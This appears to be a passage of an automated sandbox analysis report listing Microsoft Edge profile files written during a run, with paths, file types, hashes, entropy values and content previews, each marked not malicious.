Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.476921792843942
Encrypted:	false
SSDEEP:	48:T2fIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBfG:ifIEumQv8m1ccnvS6DDow0WjW7ZycOJ0
MD5:	CA6A98CE9BF022A802587EEAF5682C11
SHA1:	D14FF4BD7077468192CB701EB351348C1B19995E
SHA-256:	028F1C82B4C6606EBFFD19AF41D81086F63E077D3921D51FF09EEDDD0E0969AE
SHA-512:	763379C72A9A9C4DD44EDF1DC19B16AB14B4B31D26DAE75C50B2B97ABE97D3BB38305D6799D31F73D3CDFDCD3B621456941A710C0C3516F528764378ACC6ACDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38974.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39972.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\aa20b9a8-91b9-448e-8c4e-1bd976fff69e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d9b27a6a-5098-4252-8be6-685754242254.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12487
Entropy (8bit):	5.205227975141061
Encrypted:	false
SSDEEP:	192:strJ99QTryDigabatSuypSsr9sZihUk0f+o84HbV+Fmy7QA66WzaFIMYpPuYJ:strPGKSu4Ssr9fhKZbGL7Qx6WzaTYR
MD5:	6DB00254AD6F3475FFF9BC8FC90F184E
SHA1:	74FB58CC0F0C3D809CB75212B992FE75FE40F593
SHA-256:	432441228460AE8367D77A0EE5B7799CDC9BF5A17950B14A82A64440A251F4EC
SHA-512:	0B5A78F0A8D1108DEB7556F5ABBC1BAD5CC9D016DE9B29DCB71C62A516DBBDDFF5E41513E30A7563EB76BF2026483DD91EA4AC8CAA2381B9CAFAA6E41BFAB02B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c96b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12487
Entropy (8bit):	5.205227975141061
Encrypted:	false
SSDEEP:	192:strJ99QTryDigabatSuypSsr9sZihUk0f+o84HbV+Fmy7QA66WzaFIMYpPuYJ:strPGKSu4Ssr9fhKZbGL7Qx6WzaTYR
MD5:	6DB00254AD6F3475FFF9BC8FC90F184E
SHA1:	74FB58CC0F0C3D809CB75212B992FE75FE40F593
SHA-256:	432441228460AE8367D77A0EE5B7799CDC9BF5A17950B14A82A64440A251F4EC
SHA-512:	0B5A78F0A8D1108DEB7556F5ABBC1BAD5CC9D016DE9B29DCB71C62A516DBBDDFF5E41513E30A7563EB76BF2026483DD91EA4AC8CAA2381B9CAFAA6E41BFAB02B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF416ff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12487
Entropy (8bit):	5.205227975141061
Encrypted:	false
SSDEEP:	192:strJ99QTryDigabatSuypSsr9sZihUk0f+o84HbV+Fmy7QA66WzaFIMYpPuYJ:strPGKSu4Ssr9fhKZbGL7Qx6WzaTYR
MD5:	6DB00254AD6F3475FFF9BC8FC90F184E
SHA1:	74FB58CC0F0C3D809CB75212B992FE75FE40F593
SHA-256:	432441228460AE8367D77A0EE5B7799CDC9BF5A17950B14A82A64440A251F4EC
SHA-512:	0B5A78F0A8D1108DEB7556F5ABBC1BAD5CC9D016DE9B29DCB71C62A516DBBDDFF5E41513E30A7563EB76BF2026483DD91EA4AC8CAA2381B9CAFAA6E41BFAB02B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48c2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12487
Entropy (8bit):	5.205227975141061
Encrypted:	false
SSDEEP:	192:strJ99QTryDigabatSuypSsr9sZihUk0f+o84HbV+Fmy7QA66WzaFIMYpPuYJ:strPGKSu4Ssr9fhKZbGL7Qx6WzaTYR
MD5:	6DB00254AD6F3475FFF9BC8FC90F184E
SHA1:	74FB58CC0F0C3D809CB75212B992FE75FE40F593
SHA-256:	432441228460AE8367D77A0EE5B7799CDC9BF5A17950B14A82A64440A251F4EC
SHA-512:	0B5A78F0A8D1108DEB7556F5ABBC1BAD5CC9D016DE9B29DCB71C62A516DBBDDFF5E41513E30A7563EB76BF2026483DD91EA4AC8CAA2381B9CAFAA6E41BFAB02B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561074760727403
Encrypted:	false
SSDEEP:	768:MCywlA7pLGLpkmWPD/fta8F1+UoAYDCx9Tuqh0VfUC9xbog/OVen+N3jwrwG+lLE:MCywlMcpkmWPD/ftau1jajn+ljBG+lul
MD5:	892FE6641E737C5518A9095306004A6E
SHA1:	242932FD59B44384C21907D6512771A07E4C9601
SHA-256:	437BD4B5A9E12744CD4D8E5882363D1D901B9B38138EB2C4DC4DB77C69A58E8D
SHA-512:	C254C8915F3C9F568F7479D490433A6542DACE020CC8C4B73D33AB3581E659A7DF3582AA9132D8226D35C0D8990A52BCA3D2B80B3551A0DA6753B5B70DBDE79F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374611002741773","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374611002741773","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ec36.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561074760727403
Encrypted:	false
SSDEEP:	768:MCywlA7pLGLpkmWPD/fta8F1+UoAYDCx9Tuqh0VfUC9xbog/OVen+N3jwrwG+lLE:MCywlMcpkmWPD/ftau1jajn+ljBG+lul
MD5:	892FE6641E737C5518A9095306004A6E
SHA1:	242932FD59B44384C21907D6512771A07E4C9601
SHA-256:	437BD4B5A9E12744CD4D8E5882363D1D901B9B38138EB2C4DC4DB77C69A58E8D
SHA-512:	C254C8915F3C9F568F7479D490433A6542DACE020CC8C4B73D33AB3581E659A7DF3582AA9132D8226D35C0D8990A52BCA3D2B80B3551A0DA6753B5B70DBDE79F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374611002741773","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374611002741773","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.865765989772741
Encrypted:	false
SSDEEP:	24:F2xc5NmCcncmokCROulg2DlfRHu7CROulg2oSuo+0CROulg2DoRHugCROulg2fR1:F2emredDlfBHdoHjhdDoB8dfBV
MD5:	8B0F026C2D3235AE3A5B69A9C326DF48
SHA1:	25152FDAEF868873259337153E2EEDE408AD1B39
SHA-256:	53A431184A49333596C8A5957FA0C3ECA0892FF28084A659B53A814C66B50B93
SHA-512:	23F4FBA7EB4705574C822408125FB664BC1BD5D32B22BABB92B26FE8C5930EF6DCD851551F2CDF8729CA65F43B42A16B9D5C26DA13DFB763C2526455EFF41067
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.v..1................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.180659194032073
Encrypted:	false
SSDEEP:	6:yZ2EM1923oH+TcwtE/a252KLlkZY4q2P923oH+TcwtE/a2ZIFUv:HEhYeb8xLIv4Yeb8J2FUv
MD5:	C9C76424744CD3A3D9330D513F23B48D
SHA1:	625CCB43BE869160C8586329CC17934BEB923071
SHA-256:	2AFFDDC665123BC6643237CA8C2A7801600F8CC1D6764F71AB1809CE0E7742E9
SHA-512:	2BCFA5DE3DA373C04C14EE4EAF2850F1AA6CA6459D04AC4924783567246059186787E710F9E8BB9AF011CE8D083D9470D35CAFBA6873F6B0F212AF1763AE4062
Malicious:	false
Preview:	2024/10/28-13:43:39.397 19d4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/28-13:43:39.409 19d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113138
Entropy (8bit):	5.579728811199237
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG4CDHjmIZwi8L/r4L/ro3wBb:59LyxPXfOxr1lMe1Z6rFoDmThL/ML/J
MD5:	0F089328B24F758B7CF7A467147F3163
SHA1:	FFC74BF6405380ECEF8FE5132F409094DF2C37C6
SHA-256:	99CDF0045C0167A7C03813669D631B7D3B603254C20CF952D3644C574BC54CCF
SHA-512:	1A96E5DFC6A92BB934A2BA02F0A98747BE77A6E5713852890C25B19E25006D7A4C426F1B885D99687B365412D0D5A9550A4DA118491199FF3D2862668DC97B6F
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187249
Entropy (8bit):	6.380281305051211
Encrypted:	false
SSDEEP:	3072:wULLI9qVrvZnwlJ0tvq6RN43cpavtsu5BdGws4yRL/ECA6O/L:RhZnwlsvTWFb5+mkL/55g
MD5:	7C8A4E118AAE821AFF4E150EC43F7DC1
SHA1:	1E8C05782D91077828E6D41AD8BD2BF61B856785
SHA-256:	E2D9DF207248D15B98DE3FCF3D17F42EF93F16B754DEAED922CBC79A0EA52D9F
SHA-512:	8DA63559E1D669CCDE9C2748853D6D093D38C452D7B39FBD833F902059D29DDDCF523C9C7C3988EDD5BAEFBB0FB5C2722DF42A4C3B064DEAB18692C6C11766D5
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x..........,T.8..`,.....L`.....,T...`......L`......Rc.o,D....exports...Rc..\....module....Rc.7......define....Rb"Em.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M..fPLD...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....O...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

